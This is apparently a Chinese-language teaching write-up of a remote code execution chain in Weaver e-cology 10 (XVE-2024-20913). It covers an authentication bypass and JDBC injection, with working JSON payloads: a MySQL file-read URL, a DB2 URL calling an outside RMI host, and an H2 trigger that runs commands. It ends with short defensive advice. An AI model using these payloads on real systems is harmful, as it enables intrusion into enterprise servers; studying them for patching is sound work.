某微 e-cology 远程代码执行漏洞分析(XVE-2024-20913)
字数 1104 2025-08-24 07:48:10
泛微e-cology远程代码执行漏洞(XVE-2024-20913)分析教学文档
漏洞概述
本漏洞是一个组合漏洞,包含两个关键部分:
- 前台身份验证绕过漏洞
- 后台JDBC注入漏洞
组合利用这两个漏洞可实现远程代码执行(RCE)。
第一部分:身份验证绕过分析
漏洞位置
com.weaver.passport.controller.RestLoginController#appThirdLogin()
漏洞原理
- 攻击者可以通过构造特定的
loginType参数绕过身份验证 - 系统在没有可用票据(ticket)时,会使用传入的
username创建新的TicketGrantingTicket - 关键代码片段:
WeaverUsernamePasswordCredential credential = new WeaverUsernamePasswordCredential(username, password: "authPasswordFlag");
credential.setNoPassword(true);
tgtId = this.casLoginTicketService.createTicketGrantingTicket(credential, casLoginEnum);
获取ServiceTicketId
- 通过
appThirdLogin方法生成serviceTicketId:
result.put("serviceTicketId", this.casLoginTicketService.grantServiceTicket(tgtId, this.casLoginTicketService.getService((String)null), casLoginEnum));
构造EteamsId
- EteamsId是泛微e-cology 10中的会话管理机制
- 通过
PassportLoginController#generateEteamsId()获取 - 生成算法:
public static String generateTokenId(String credential, String loginType) {
if (StringUtils.isEmpty(loginType)) {
return MD5Utils.MD5(credential).toLowerCase();
} else {
return !loginType.toUpperCase().startsWith("APP") && !loginType.toUpperCase().startsWith("H5") ?
loginType.replace("_", "").toUpperCase() + "_" + MD5Utils.MD5(credential).toLowerCase() :
loginType.replace("_", "").toUpperCase() + "_" + MD5Utils.MD5(credential).toLowerCase() + "_appType";
}
}
注意:虽然可以了解EteamsId的构造方式,但无法直接伪造,因为缺少this.securityContextCache.put(tokenId, context)步骤。
第二部分:JDBC注入漏洞分析
漏洞位置
DataConnController#testConnByBasePassword()
漏洞原理
- 系统在处理数据库连接测试时存在不安全实现
- 关键代码流程:
public WareResult testConnByBasePassword(@RequestBody DataSetConn conn, Employee employee) {
conn.setDbPassword(SqlValidateUtil.base64ToString(conn.getDbPassword()));
return this.testConn(conn, employee);
}
- 最终会调用
DriverManager.getConnection()建立连接,由JDBC URL决定使用哪种驱动
数据库驱动加载机制
系统根据dbType参数动态加载对应驱动:
public String getDbDriverByType(String dbType) {
switch (dbType.toLowerCase()) {
case "mysql5": return "com.mysql.jdbc.Driver";
case "mysql": case "mysql8": return "com.mysql.cj.jdbc.Driver";
case "oracle": return "oracle.jdbc.driver.OracleDriver";
// 其他数据库类型省略...
}
}
漏洞利用方式
1. MySQL利用
利用MySQL5.x版本的特性读取文件:
{
"dbType": "mysql5",
"dbUrl": "jdbc:mysql://172.23.80.133:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=fileread_C:/windows/win.ini"
}
2. DB2利用
利用JDK 8u201中的javax.el.ELProcessor#eval方法绕过限制:
{
"dbType": "db2",
"dbUrl": "jdbc:db2://172.23.80.133:50001/BLUDB:clientRerouteServerListJNDIName=rmi://172.23.80.133:1099/localExploitel;"
}
3. H2数据库利用(最优方案)
无需出网的利用方式:
步骤1:加载H2驱动
通过IaAuthclientController#save()方法加载H2驱动:
{
"isUse": 1,
"auth_type": "custom",
"iaAuthclientCustomDTO": {
"ruleClass": "org.h2.Driver"
}
}
步骤2:执行任意代码
利用H2数据库执行Java代码:
{
"dbType": "mysql",
"dbUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
//javascript\njava.lang.Runtime.getRuntime().exec(\"whoami\")
$$
"
}
防御建议
- 修复身份验证绕过漏洞,严格校验票据和用户身份
- 对JDBC连接参数进行严格过滤和校验
- 限制数据库驱动的动态加载
- 更新到官方最新补丁版本
总结
该漏洞组合了身份验证绕过和JDBC注入两个漏洞,最终可实现远程代码执行。H2数据库的利用方式最为优雅,无需出网即可实现RCE。建议管理员及时检查系统并应用补丁。